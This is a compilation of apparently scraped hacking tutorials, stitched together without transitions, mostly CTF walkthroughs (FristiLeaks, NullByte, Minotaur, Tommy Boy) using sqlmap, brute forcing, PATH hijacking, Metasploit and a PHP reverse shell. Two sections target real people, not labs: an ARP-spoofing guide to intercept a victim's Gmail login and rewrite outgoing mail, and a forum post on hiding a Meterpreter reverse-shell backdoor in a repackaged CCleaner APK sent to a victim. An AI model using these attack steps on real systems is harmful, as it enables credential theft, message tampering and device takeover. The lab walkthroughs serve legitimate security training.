Then through netcat we will listen in and get a session while navigating around:
nc -lvp 1234
cd /home
ls
cd eezpeez
ls -la
1
2
3
4
5
nc -lvp 1234
cd /home
ls
cd eezpeez
ls -la
[Image: 11.png?w=687&ssl=1]

Post Exploit Enumeration
So, in /eezpeez directory we found a notes.txt file. Let’s read it:
cat notes.txt
1
cat notes.txt
[Image: 12.png?w=687&ssl=1]

Again in the notes.txt, there is a message from Jerry telling us what to do. So let’s follow his steps by typing:
echo "/home/admin/chmod –R 777 /home/admin" > /tmp/runthis
1
echo "/home/admin/chmod –R 777 /home/admin" > /tmp/runthis
After typing the command go back to the home folder and from there go into the admin directory.
cd /tmp
cd /home/admin
ls -la
1
2
3
cd /tmp
cd /home/admin
ls -la
[Image: 13.png?w=687&ssl=1]

Now, in the above image, you can see that it said that the code allows the string to be encrypted so now, save the script in your kali and then change the word ‘base64string’ to ‘decoded’ in the script and finally use the following command to decrypt it :
python cryptpass.py =RFn0AKnlMHMPIzpyuTI0ITG
1
python cryptpass.py =RFn0AKnlMHMPIzpyuTI0ITG
And the decoded string is ‘LetThereBeFristi!’
[Image: 14.png?w=687&ssl=1]

Privilege Escalation
Now, this may be the password to fristigod user. So let’s try and use it. For this we need to switch user so, type the following command:
su fristigod
1
su fristigod
Enter ‘LetThereBeFristi’ as a password. Then I explored the fristigod folder and there I found the history file. In this history file, there was one command that was used over and over again with sudo permissions:
cd /var/fristigod
ls -lsa
cat bash.history
1
2
3
cd /var/fristigod
ls -lsa
cat bash.history
[Image: 16.png?w=687&ssl=1]

So let’s check sudo right for the said command to work. Therefore type:
sudo -l
1
sudo -l
It will ask for a password for fristigod, use the same password as above. Then to give rights type:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
id
cd /root
ls
cat fristileafs_secrets.txt
1
2
3
4
5
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
id
cd /root
ls
cat fristileafs_secrets.txt
Then by navigating around using the above commands, I found a text file. By reading the contents of the file you can see that you have found second/last flag.
[Image: 17.png?w=687&ssl=1]

And VOILA!! This way you solve another CTF called fristileaks. Happy Pentesting!!

There are various vibrant attacks of burpsuite that may not know off; therefore we will try one for those in this article today. We will learn how to get between the networks of Gmail and then to change the message o the mail before it reaches the receiver.

First of all, go to the terminal of Kali and type:

arspoof -i wlan0 -t 192.168.100.4 192.168.100.1
1
arspoof -i wlan0 -t 192.168.100.4 192.168.100.1

Here,

-i –> interface

wlan0 –> network (This can be either Ethernet or WLAN depending on your victim i.e. if your victim is using eth0 then you should also use eth0)

-t –> target

192.168.100.4 –> Victim IP

192.168.100.1 –> DNS

Execution of the above command will capture the packets that are sent from victim to router. And once we have captured these packets we will open another terminal in Kali and type the following command which will make us capture all the packets from router to victim.

arpspoof -i wlan0 -t 192.168.100.1 192.168.100.4
1
arpspoof -i wlan0 -t 192.168.100.1 192.168.100.4

Here,

-i –> interface

wlan0 –> network

-t –> target

192.168.100.1 –> DNS

192.168.100.4 –> victim IP

This command will capture packets that are sent from router to victim IP. Now type the following the command so that IP forwarding is enabled in our PC.

echo 1 > /proc/sys/net/ipv4/ip_forward
1
echo 1 > /proc/sys/net/ipv4/ip_forward

Then type the following the command so that all the packets on port 80 will go through our IP.

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to -desitination 192.168.100.5
1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to -desitination 192.168.100.5

Then type the following the command so that we can all the packets on port 443 will go from our IP.

iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to -desitination 192.168.100.5
1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to -desitination 192.168.100.5

After all, this is done then open burpsuite and go to the proxy tab and then select the options tab. Once you have reached here click on Add button.

Clicking on Add button will make the following options appear. In this give port no 80 in the box adjacent to bind to a port and in specific address give your IP.

Further on, Select Request Handling tab and check Support invisible proxy. And then click on ok.
[Image: 9.png?w=687&ssl=1]

Repeat the above steps for Port no 443 too.
[Image: 10.png?w=687&ssl=1]

After clicking on ok make sure all the boxes of running and invisible are checks.
[Image: 11.png?w=687&ssl=1]

When the victim will sign in his/her Gmail account we have its data captured in burpsuite.
[Image: 11_12.png?w=687&ssl=1]

And all this captured data will contain username and password of the victim as shown below.
[Image: 12.png?w=687&ssl=1]

Here is the closer view to the username and password.
[Image: 13.png?w=687&ssl=1]

The victim will type and send the message without suspicion:
[Image: 13_14.png?w=687&ssl=1]

But as the victim will click on send button its mail will come to us before reaching the destination.
[Image: 14.png?w=687&ssl=1]

Now you can change the text of the message by a simple left click on the message area and type your message as I changed HELLO THIS IS TESTING to YOU HAVE BEEN HACKED.

Once you change the message then click on Forward button on the top left side and the mail will go forward to its destination as shown below:

This is our article on root2boot penetration testing challenge. We will walk through an exploitable framework of NullByte VM. Breaking into it isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate. We have to find “Proof.txt” and follow further steps.

You can download it from

[To see content please register here]

.

Penetrating Methodology:

Network Scanning (Nmap, netdiscover)
Exacting hidden text from an image(ExifTool)
Dictionary Attack using rockyou.txt(Burp suite)
Steal Database information via SQL injection (Sqlmap)
Login to SSH
Find SUID Binaries
Privilege Escalation by Manipulating $PATH
Get Root access and capture the flag.

Let’s Begin the Game!!!
Start off by finding your target by running netdiscover on the terminal of the attacking machine.
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.142. And now that we know our target, we will scan it using nmap.
nmap -A 192.168.1.142
1
nmap -A 192.168.1.142
[Image: 2.png?w=687&ssl=1]

Scanning the IP, we will know that the port number 80, 111, 777, 44607 are open. Please observe here that the service of SSH is forwarded from 22 to 777 port. This port may come in handy in the future to gain access.
Now we will try and open the targeted IP in the browser.
[Image: 3.png?w=687&ssl=1]

There are an image and a quote on the page. You will find nothing on the page source or otherwise. But there might be something hidden in the image and so, we will read the image using EXIF tool, therefore, download this image.
exiftool main.gif
1
exiftool main.gif
[Image: 4.png?w=687&ssl=1]

There you will find a comment kzMb5nVYJw. Now this might be a directory and there is no harm in opening it the browser so let’s do that
[Image: 5.png?w=687&ssl=1]

Our assumption was right as it opened in the browser. But it is asking for a key. And we have no idea what the key is so, therefore, we will use the dictionary attack to find the key using BurpSuite and rockyou.txt. Through the dictionary attack, you will find the key i.e. elite.
[Image: 6.png?w=687&ssl=1]

Through the dictionary attack, you will find the key i.e. elite. Enter the key where it was asking and the new web page will get opened which will be asking for username, BUT this time also we do not know the username. So, we will find it in its Database using sqlmap. And for this type:
sqlmap -u

[To see content please register here]

--dbs --batch
1
sqlmap -u

[To see content please register here]

--dbs --batch
[Image: 7.png?w=687&ssl=1]

It will give you the name of the database i.e. seth.
[Image: 8.png?w=687&ssl=1]

Now further we will find columns and tables and for that type:
sqlmap -u

[To see content please register here]

-D seth --dump-all --batch
1
sqlmap -u

[To see content please register here]

-D seth --dump-all --batch
Once command executes, it will show you the table name along with column and password as shown:
[Image: 9.png?w=687&ssl=1]

As a result, we have username and password but the password is in MD5 so we need to crack it and there are many online tools to do so. Therefore to crack it go to md5coder.org and give the md5 value there and click on ok and it will show you the original word i.e. omega
[Image: 10.png?w=687&ssl=1]

Now we will SSH to log in and for that type:
ssh [email protected] -p 777
1
ssh [email protected] -p 777
And then give omega as the password. And you are logged in. As you are now logged in type the following command to see the list of directories:
Then by using the following command, you can enumerate all binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
We found that SUID bit enabled for /var/www/backup/procwatch which was quite attention-grabbing. So we decide to explore it for further steps.
[Image: 11.png?w=687&ssl=1]

cd /var/www/bakcup/
./procwatch
1
2
cd /var/www/bakcup/
./procwatch
So when I run the above command, it looks like the procwatch file is trying to run ps and this is a genuine file inside /bin for Process status. The most important things which could be considered here that the author has set SUID bit ON for procwatch and might be it could be any small program file which is calling system function such as ps.
Taking its advantage, we can escalate the root privilege and hit the goal of this VM. To achieve this we will have to manipulate the environment PATH variable. If we can get procwatch to run sh instead of ps, it should give us a root shell. Following techniques is called Linux Privilege escalation using environment $PATH variable and their so many methods to manipulate environment variable.
1st Method

echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=.:$PATH
echo $PATH
./procwatch
1
2
3
4
5
6
echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=.:$PATH
echo $PATH
./procwatch
Due to ‘.’ in $PATH means that the user is able to execute binaries/scripts from the current directory. With us execution of above commands we will enter root and then further type ;
id
cd /root
ls
cat proof.txt
1
2
3
4
id
cd /root
ls
cat proof.txt
[Image: 12.png?w=687&ssl=1]

2nd Method

cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
./procwatch
1
2
3
4
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
./procwatch
With us execution of above commands we will enter root and then further type ;
id
cd /root
ls
cat proof.txt
1
2
3
4
id
cd /root
ls
cat proof.txt
[Image: 13.png?w=687&ssl=1]

3rd Method
vi ps
Once vi editors get open type /bin/sh and save the file.
[Image: 14.png?w=687&ssl=1]

chmod 777 ps
echo $PATH
export PATH=.:$PATH
cd /var/www/backup
./procwatch
1
2
3
4
5
chmod 777 ps
echo $PATH
export PATH=.:$PATH
cd /var/www/backup
./procwatch
With us execution of above commands we will enter root and then further type ;
id
cd /root
ls
cat proof.txt
1
2
3
4
id
cd /root
ls
cat proof.txt
[Image: 15.png?w=687&ssl=1]

[Guide] How to Hack Android Phone using Backdoor Apk

Posted by: NINZA - 04-24-2020, 03:14 PM - Forum: General Discussion - No Replies

Sometimes in hacking, we have to use the most genuine way so that victim is surely hacked. These genuine ways are to be used for our advantage. One of the most genuine ways to hack an android phone is to bind the original android file to your backdoor-apk. This backdoor-apk is software which helps us to bind original apk file with your virus. Hence, taking all the suspicious away from you.

And for this first you have to execute the following command:

apt-get install lib32stdc++6 lib32ncurses5 lib32z1
1
apt-get install lib32stdc++6 lib32ncurses5 lib32z1

Once the command is execution and installation are done then downloads the backdoor-apk from GitHub and for that type:

git clone

[To see content please register here]

1
git clone

[To see content please register here]

As the software is downloaded, go to the

[To see content please register here]

website and download an original apk file like I downloaded ccleaner. And then copy it in the backdoor-apk folder.

Open it in the terminal and type:

./backdoor-apk.sh ccleaner.apk
1
./backdoor-apk.sh ccleaner.apk

As the command runs it will ask you for the payload you want to use and for that select 3 and then it will ask you for lhost and lport and give these respectively.

The above commands will bind the file to the original apk file and will save it to backdoor-apk>original>dist folder.

Now all you have to do is send the file to the victim as he will install it by clicking on next.
[Image: 5.png?resize=370%2C659&ssl=1]

And the click on Install to install the app.
[Image: 6.png?resize=370%2C659&ssl=1]

This way the app will be downloaded.
[Image: 7.png?resize=370%2C659&ssl=1]

Before opening the app, open Metasploit and type :
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.126
set lport 4444
exploit
1
2
3
4
5
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.126
set lport 4444
exploit
After this when you run the app; you will get a meterpreter session.
[Image: 8.png?w=687&ssl=1]

Hence hacking the victim genuinely.

Hello friends!! This is a beginner guide on Brute Force attack using Burp suite. In this article, we had demonstrated the login page brute force attack on a web application “DVWA”.
Table of Content

Introduction to Brute Force Attack
The vector of Brute force Attack
What is wordlist or dictionary?
Lab Set -up Requirement
Password Brute Force Using Sniper Attack
Username & Password Brute Force Using Cluster Bomb Attack

Introduction to Brute Force Attack
Brute force plays a vital role in web penetration testing because is the simplest method to gain access to a site or server by checking the correct username or password by calculating every possible combination that could generate a username or password.
For example, You have 3 digits PIN for login into an account but when you forget the PIN, so you will try different values till the time you identify the right match to unlock the account.
The vector of Brute force Attack

Using Default login credential such as admin: admin or admin: password
Weak password or PIN such as 123
Birth Date or Name such as raj:1111

As per Internet security, 8 letter character is considered as the standard number for the shortest length of a password because the probability of guessing complex password is much larger. For such reason, there are many software and scripts that reduce manual efforts of guessing password or PIN by generating a wordlist or dictionary.
What is wordlist or dictionary?
Wordlist or dictionary is a collection of words which are quite useful while making brute force attack. There are several tools which let you generate your own dictionary that you can use in brute force attack.
Read the given below articles to know more about wordlist generating tools

[To see content please register here]

Lab Set -up Requirement
Target: DVWA (read from

[To see content please register here]

)
Attacking tool: Installed Burp Suite (Any Platform Windows/Kali Linux)
Password Brute Force Using Sniper Attack
Burp Suite: Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities.
Burp gives you full control, letting you combine advanced manual techniques with state-of-the-art automation, to make your work faster, more effective, and more fun. Importantly, it gives us another way to manage our attacks as the alternative to Metasploit.

To make Burp Suite work, firstly, we have to turn on manual proxy and for that go to the settings and choose
Then select an advanced option and further go to Network then select Settings.
Now, select Manual Proxy Configuration.

Now, on the other hand, open DVWA and log into it using its default username and password. Once you log in, click on Brute Force. And also make sure that security is low or medium. When you click on brute force, it will ask you the username and password for login. Now suppose you don’t know the password for login into an account.
To make brute force attack first you need to enter the random password and then intercept the browser request using burp suite as explain in the next step.
[Image: 5.png?w=687&ssl=1]

Now open burp suite and select the Proxy tab and turn on an interception by clicking on Interception is on/off the tab.
Then go back to DVWA-Brute Force page and click on login tab.
As you can observe that we have successfully intercepted browser request.
[Image: 6.png?w=687&ssl=1]

Send the captured data to the intruder by right-clicking on the space and choosing Send to Intruder option or simply press Ctrl + i
Then select the Positions tab and follow the below steps:

Choose the Attack type as a sniper.
Click on a clear tab to deselect the selected area.

Now select a password as shown below in the given image and then click on add tab.
[Image: 8.png?w=687&ssl=1]

In the above image, we have selected a password that means we will need a dictionary file for the username password. Since I have ready to create a dictionary as password.txt but you can create your own dictionary as per your situation.
So now, go to Payloads tab and then select 1 from Payload set (this ‘1’ denotes the password file). Then click on Load button and browse and select your dictionary file for a password.
[Image: 9.png?w=687&ssl=1]

Now all you have to do is go to the Intruder menu and select Start attack to launch the brute force attack.
Sit back and relax because now the burp suite will do its work and match the username and password and to give you the correct password for the given username.
The moment it will find the correct value, it will have larger the value of length as shown:
[Image: 10.png?w=687&ssl=1]

Username & Password Brute Force Using Cluster Bomb Attack
In the above scenario, you saw, how easily we were able to guess the correct password when we knew the username. But what you will do when you don’t know anything, neither username nor password?
So don’t anxiety while facing such scenario, because Burp suite has many options to shoot brute force attack in various situation, similarly “Cluster Bomb” is the attack type which will help us in brute forcing the username and password filed simultaneously.
Now once again repeat the above steps to capture the browser request and this time enter random credential and do not forget to configure burp suite setting before hitting on login tab.
[Image: 13.png?w=687&ssl=1]

As you can observe that we have successfully intercepted browser request and then send the captured data to the intruder.
[Image: 14.png?w=687&ssl=1]

Then select the Positions tab and follow the below steps:

Choose the Attack type as “cluster bomb”.
Click on a clear tab to deselect the selected area.
Then select username and password as shown below in the given image and then click on add

Since in above situation we were making brute force attack on the single password field, therefore, we had uploaded one dictionary for guessing correct password but this we selected two payload position, therefore, we have you upload two dictionaries for username and password respectively.
Therefore set payload 1 along with simple list as payload type and upload username wordlist.
[Image: 16.png?w=687&ssl=1]

And set payload 2 along with simple list as payload type and upload password wordlist.
[Image: 17.png?w=687&ssl=1]

Now all you have to do is go to the Intruder menu and select Start attack to launch the brute force attack.
Sit back and relax because now the burp suite will do its work and match the username and password and to give you the correct username and password.
The moment it will find the correct value, it will have larger the value of length as shown:
[Image: 18.png?w=687&ssl=1]

In this article, we have used Burp suite for brute force on web application but there so many other famous penetration testing tools that are quite useful in brute force attack. You can follow given below link to read related articles.

HAppY HAckinG!!!

Minotaur is a Boot2Root CTF challenge which helps us improve our skills, especially of password cracking. The VM will assign itself a specific IP address (in the 192.168.56.0/24 range). Do not change this, as the CTF will not work properly without an IP address of 192.168.56. We know to think about it i.e.:
One password you will need is not on rockyou.txt or any other wordlist you may have out there. So you need to think of a way to generate it yourself.
This CTF has a couple of fairly heavy password cracking challenges, and some red herrings.
You can download this VM from –>

[To see content please register here]

Hints

This CTF has a couple of fairly heavy password cracking challenges, and some red herrings.
One password you will need is not on rockyou.txt or any other wordlist you may have out there. So you need to think of a way to generate it yourself.

Penetrating Methodology

Network Scanning (Nmap)
WordPress scanning & password cracking (wpscan)
Generate Password Dictionary (Cewl)
Reverse connection (Metasploit)
Download shadow.bak and crack Hash (John)
Sudo right Privilege escalation
Get Root access and capture the flag.

Let’s Start!!!
We will start off by nmap because. we already our target IP.
nmap -A 192.168.56.223
1
nmap -A 192.168.56.223
[Image: 1.png?w=687&ssl=1]

As a result of nmap, we can see that the port numbers: 22, 80, 2020 are open. We can use port 22 and 80 to our advantage.
Now we tried to explore through Nikto and curl but unfortunately, we found nothing of use. So we decided to use dirbuster.
Go to the terminal of kali and type :
dirbuster
1
dirbuster
It will open the dirbuster. In it, give the URL in the Target URL box and select the directory-list-2.3-medium.txt file in the File with list of dir box.
[Image: 3.png?w=687&ssl=1]

It will show you the directory called /bull/ and we open the said directory in our browser.
[Image: 4.png?w=687&ssl=1]

It will show that there is a blog made in WordPress. As the blog is in WordPress we can apply WPScan to find usernames and vulnerable themes and plug-ins. To apply the WPScan type:
wpscan -u

[To see content please register here]

--enumerate u --enumerate p
1
wpscan -u

[To see content please register here]

--enumerate u --enumerate p
The command will start executing and it will show you all the plug-ins that are exploitable along with usernames and from its result, you will enumerate the following information :
One user with the username bully. Also, there is a plug-in exploit for Slideshow Gallery.
[Image: 7.1.png?w=687&ssl=1]

But we will require username and password to make this exploit work. Now we already have a username and all we need is its password and we have no idea where to find it as we have no dictionary or password file. The hint we read previously mentions to the requirement of generating our own wordlist. Therefore we will make a password file using ceWL. To make a password file from CeWL go to your terminal of your kali and type:
cewl

[To see content please register here]

-m 3 -w /root/Desktop/pass.txt
1
cewl

[To see content please register here]

-m 3 -w /root/Desktop/pass.txt
[Image: 7.png?w=687&ssl=1]

This will create a .txt with a list of all the words that have a possibility to be the password for the username bully.
Now to find which its password is we will use BurpSuite. So, apply dictionary attack using burpsuite and the moment it will find the correct password it will change it value of length as shown below:
[Image: 8.png?w=687&ssl=1]

Now that we know username and password we can use that exploit for the plug-in. And to do so open Metasploit and type:
use exploit/unix/webapp/wp_slideshowgallery_upload
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set rhost 192.168.56.223
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /bull/
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user bully
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password Bighornedbulls
msf exploit(unix/webapp/wp_slideshowgallery_upload) > exploit
1
2
3
4
5
6
use exploit/unix/webapp/wp_slideshowgallery_upload
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set rhost 192.168.56.223
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set targeturi /bull/
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_user bully
msf exploit(unix/webapp/wp_slideshowgallery_upload) > set wp_password Bighornedbulls
msf exploit(unix/webapp/wp_slideshowgallery_upload) > exploit
As the exploit will run it will give you the session of meterpreter.
[Image: 9.png?w=687&ssl=1]

After digging more and more we found a flag.txt file and shadow.bak inside /tmp directory.
cd /tmp
ls
cat flag.txt
1
2
3
cd /tmp
ls
cat flag.txt
[Image: 10.png?w=687&ssl=1]

Also, we got a hint that shadow.bak file could be useful to us. Let’s have looked in it.
cat shadow.bak
1
cat shadow.bak
[Image: 11.png?w=687&ssl=1]

Let’s download it with the help of the following command
download shadow.bak /root/Desktop
1
download shadow.bak /root/Desktop
[Image: 12.png?w=687&ssl=1]

We will take the help of John password cracker to find the passwords:
john shadow.bak
1
john shadow.bak
[Image: 14.png?w=687&ssl=1]

We found the passwords for both heffer and minotaur. Please recall that port number 22 i.e. for ssh was open and we can use it to log in and for this type:
ssh [email protected]
1
ssh [email protected]
Give the password when asked and further check its directories:
ls
1
ls
We found a flag here. Read it.
cat flag.txt
1
cat flag.txt
[Image: 15.png?w=687&ssl=1]

Now in the flag, we found another flag along with a hint indicating that the flag is Minotaur. Now we will log in through SSH using minotaur:
ssh [email protected]
1
ssh [email protected]
Give the password when asked. And then check for directories:
ls
1
ls
There is another flag available. Again read it.
cat flag.txt
1
cat flag.txt
[Image: 16.png?w=687&ssl=1]

Now, we have finally found the first flag along with another hint that is the final flag is in /root/flag.txt now let check sudo right for user Minotaur.
sudo -l
1
sudo -l
As you can observe Minotaur has ALL privileges, therefore, let’s move on, type the following to gain admin access and switch user:
sudo su
1
sudo su
Finally, we have found the last flag.
cat /root/flag.txt
1
cat /root/flag.txt
WOOHOO!!! The flag is captured. Congrats and enjoy!!
[Image: 17.png?w=687&ssl=1]

Tommy Boy VM is a CTF based on the movie Tommy Boy and the fictitious company “Callahan Auto” in the movie. This CTF, Tommy Boy, has been created by Brian Johnson of 7 Minute Security. It is a really fun VM — a few bits of it were fairly easy, some parts of it were really tricky, and there are some pretty neat little tricks in there too.
Note from the author:
The primary objective is to restore a backup copy of the homepage to Callahan Auto’s server. However, to consider the box fully pwned, you’ll need to collect 5 flags strewn about the system and use the data inside them to unlock one final message.
WalkThrough
Let’s start off with scanning the network to find our target.
[Image: 1.png?w=687&ssl=1]

We found our target –> 192.168.1.108
Our next step is to scan our target with NMAP. We will apply an aggressive scan as it is quick.
nmap -A 192.168.1.108
1
nmap -A 192.168.1.108
[Image: 2.png?w=687&ssl=1]

The result shows us that there are 3 ports opened: 22(ssh), 80(http), 8008(http).
To further explore and find rest of the flags we browsed URL on port 80 and we greeted with the Callahan Auto page which apparently was experiencing some technical difficulties.
[Image: 3.png?w=687&ssl=1]

Let’s use Nikto tool to have detailed information about our target. So for this, type the following :
nikto -h

[To see content please register here]

1
nikto -h

[To see content please register here]

By using the Nikto command we found out that there is a text file with the name of robots.txt which might contain some useful information. Either we can open it in our browser or can list the contents via the curl command as shown below. And yes, we found our first flag.
curl

[To see content please register here]

1
curl

[To see content please register here]

Hurrah!! We got our first flag B34rcl4ws
I took a look at the main page again, to see if there’s anything of interest in the View Source. I found a Youtube link.
I then executed the CURL command which would also give the same results (as view-source) and happen to found a Youtube link. There seems to be no harm in opening it, so let us do that and see if it has some significant information.
[Image: 4.png?w=687&ssl=1]

Upon opening the Youtube link, we can predict that it has something to do with prehistoric forest. So we decided to use it on the browser as –> 192.168.1.108/prehistoricforext/
[Image: 5.png?w=687&ssl=1]

[To see content please register here]

And to our luck, we found a lot of information. First of our information was that the website was made in WordPress
[Image: 6.png?w=687&ssl=1]

As we found another important clue on the same web page of the prehistoric forest we decided to investigate further. And this decision proved right as we found another clue which stated to use /richard instead of /prehistoricforest
Let’s browse with

[To see content please register here]

This image, being as it is, gave us no clue. So we decided to open it with EXIF tool.
[Image: 10.png?w=687&ssl=1]

Go to

[To see content please register here]

site and crack the md5 code we just discovered. On cracking it we will find that it makes up the word spanky
[Image: 11.png?w=687&ssl=1]

The output of cracked MD5 hash :
ce154b5a8e59c89732bc25d6a2e6b90b spanky
1
ce154b5a8e59c89732bc25d6a2e6b90b spanky
Further investigating the same “prehistoricforest” page we found other important things like the text file which contained our second flag.
[Image: 12.png?w=687&ssl=1]

[To see content please register here]

Hurrah!! We got our 2nd Flag – Z4l1nsky
If we furthermore navigate to the URL

[To see content please register here]

and go to a password protected blog, then it will prompt for a password. Let’s try and input the password as spanky. Hey, we are in !!
[Image: 14.png?w=687&ssl=1]

We are able to read the blog now, which contains loads of information with the hidden hints. Go through the full-page and note down the things to remember :
Upon going through the page, we noted down 2 things (refer below screenshot), which could be a way going forward. We will utilize these clues one by one.
1. There is something about nickburns

There is an FTP service running and hosted on a Non-standard port. Also, the FTP server goes up and down with a regular frequency of 15 mins

Now let’s try to find if the FTP port is open as per the clue provided in the blog. We scanned for the ports before and did not find an FTP port anywhere. So let us scan port by port.
Note: The FTP server was running on a non-standard port and goes on/off every 15 minutes.
nmap -p- -sV 192.168.1.108 --open
1
nmap -p- -sV 192.168.1.108 --open
[Image: 16.png?w=687&ssl=1]

We took a guess that he may re-use his username as his password and tried as nickburns: nickburns and it was successful!
ftp 192.168.1.108 65534
1
ftp 192.168.1.108 65534
Upon taking a look at the readme file, we were presented with some additional clues.
cat readme.txt
1
cat readme.txt
[Image: 17.png?w=687&ssl=1]

In the file, you will see that he is talking about a subfolder “NickizL33t“. I tried this subdirectory on port 80 but got no success, therefore I tried again on port 8008.
First, let’s try to access

[To see content please register here]

and see what is in store for us.
[Image: 18.png?w=687&ssl=1]

Now if we pay attention and notice it says “only me and Steve Jobs are allowed to look at this stuff” that means we can read the content with iPhone. There is Add-on for Mozilla browser named “User Agent Switcher” which will allow us to read the said file.
When you have added this Add-on. Go to the Tools menu. A drop-down menu will appear select Default User Agent and from its select iPhone 3.0 option.
[Image: 19.png?w=687&ssl=1]

[To see content please register here]

Now as he is talking about certain .html file. As we have already checked everywhere and didn’t find such a file. It’s a possibility that this file was hidden so let’s use DIRBuster or dirb to find it.
Note: Running the below command will take a lot of memory and hence it is recommended to upgrade/increase the RAM of your system sufficient enough to run this command.
dirb

[To see content please register here]

/usr/share/wordlists/rockyou.txt -a "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25" -X .html
1
dirb

[To see content please register here]

/usr/share/wordlists/rockyou.txt -a "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25" -X .html
Finally. After a long wait, we got the html file – fallon1.html
Upon browsing the URL

[To see content please register here]

and as we can see we got a lot of information
[Image: 21.png?w=687&ssl=1]

Hurrah!! We got our 3rd Flag – TinyHead
Additionally, download the zip file t0msp4ssw0rdz.zip
[Image: 23.png?w=687&ssl=1]

Also, let’s click on A hint and we will get redirected to

[To see content please register here]

where we will find hints about the passwords.
[Image: 24.png?w=687&ssl=1]

We need to figure out how to create a custom dictionary utilizing the above clues which Nick has given us.It starts with ‘bev’,1 upper case char, 2 numbers, 2 lowercase chars, one symbol and then 1995
bev[A-Z][1–9][1–9][a-z][a-z][symbol]1995
Let’s use crunch utility to create a dictionary with the following command:
crunch 13 13 -t bev,%%@@^1995 -o /root/Desktop/dict.txt
1
crunch 13 13 -t bev,%%@@^1995 -o /root/Desktop/dict.txt
[Image: 29.png?w=687&ssl=1]

Now we have got our custom dictionary from the clues. Let’s use it to brute force Big Tom’s password file with the help of a fcrackzip tool.
cd Downloads/
fcrackzip -u -D -p /root/Desktop/dict.txt t0msp4ssw0rdz.zip
Password = bevH00tr$1995
1
2
3
cd Downloads/
fcrackzip -u -D -p /root/Desktop/dict.txt t0msp4ssw0rdz.zip
Password = bevH00tr$1995
Unzip the file using the password extracted in the above step :
unzip t0msp4ssw0rdz.zip
1
unzip t0msp4ssw0rdz.zip
Here we will get a file passwords.txt, upon reading the same we will get the output with some usernames and credentials.
cat passwords.txt
1
cat passwords.txt
[Image: 30.png?w=687&ssl=1]

Here we need to identify the full password of Callahan Auto Server as it is clearly mentioned that after the “fatguyinalittlecoat“ part there are some numbers; however, the admin doesn’t remember that.
Username: bigtommysenior
Password: fatguyinalittlecoat <partial password>
Let’s perform a WordPress Scan and enumerate the users
wpscan -u

[To see content please register here]

--enumerate u
1
wpscan -u

[To see content please register here]

--enumerate u
[Image: 31.png?w=687&ssl=1]

wpscan -u

[To see content please register here]

--wordlist=/usr/share/wordlists/rockyou.txt --username tom
1
wpscan -u

[To see content please register here]

--wordlist=/usr/share/wordlists/rockyou.txt --username tom
Password for user ‘tom’ is ‘tomtom1’
I tried finding the credentials for user tommy and it went for quite long, finally, I abandoned it.
[Image: 32.png?w=687&ssl=1]

Now let’s log in to the WordPress site

[To see content please register here]

as user ‘tom’ with the above credentials. Once logged in, we will find a post in the “drafts” folder of the dashboard – my-ess-ess-eight-password
We also got a clue (from my-ess-ess-eight-password – read it as SSH password ) that there is something on SSH port that we may need to look upon going forward !!
[Image: 33.png?w=687&ssl=1]

So now, we will try to log in with SSH port with the user bigtommysenior with the following credentials:
Username: bigtommysenior
Password: fatguyinalittlecoat1938!!
ssh [email protected]
1
2
3
Username: bigtommysenior
Password: fatguyinalittlecoat1938!!
ssh [email protected]
To see the list of files and folders type :
ls -la
1
ls -la
Here we will see a file el-flag-numero-quatro.txt which could be of our interest. Let’s open the same
cat el-flag-numero-quatro.txt
1
cat el-flag-numero-quatro.txt
The contents of the file contain the flag data!
[Image: 34.png?w=687&ssl=1]

Hurrah!! We got our 4th Flag – EditButton
In addition, we got a clue for the 5th flag as well (i.e a name of the file /5.txt)
1.Restoration of the website
Before we go to the last flag, we need to restore the backup first. As seen from the above screenshot there is a callahanbak.bak file, which seems to be a backup file. Let’s copy this file to the /var/www/html directory as follows :
cp callahanbak.bak /var/www/html/index.html
1
cp callahanbak.bak /var/www/html/index.html
[Image: 35.png?w=687&ssl=1]

Now try browsing the company website.

[To see content please register here]

. As a result of restoring the backup, we can see that now the website has been restored back to normal.
[Image: 36.png?w=687&ssl=1]

Capture the last flag

Upon exploring more and doing view-source for

[To see content please register here]

, we found a clue for a particular folder P4TCH_4D4MS. Let’s append this as a sub-directory to URL

[To see content please register here]

Browse the URL

[To see content please register here]

It gives an option to upload an image file. This is a clue that we can upload our reverse shell here
[Image: 38.png?w=687&ssl=1]

We already have an existing php-reverse-shell.php file under the path usr/share/webshells/php of Kali Linux. Let’s edit the php-reverse-shell.php file and modify with Kali IP as follows ($ip = ‘192.168.1.107’)
[Image: 39.png?w=687&ssl=1]

While trying to upload the php file (with PHP extension), we were unable to upload this file and greeted with an error saying only image (JPEG, PNG, GIF) files are allowed.
